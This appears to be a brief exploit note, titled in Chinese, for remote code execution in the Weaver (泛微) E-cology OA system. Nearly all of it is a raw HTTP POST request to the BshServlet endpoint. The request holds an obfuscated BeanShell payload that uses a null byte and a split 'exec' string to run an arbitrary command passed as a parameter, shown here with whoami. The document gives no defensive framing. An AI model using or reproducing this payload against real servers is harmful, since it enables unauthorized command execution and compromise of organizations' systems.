泛微E-cology OA 代码执行

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POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Host:127.0.0.1:8080
Content-Length: 151
Cache-Control: max-age=0
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=abc17Hyv4HXw_6_hyXo1w; testBanCookie=test
Connection: close

bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami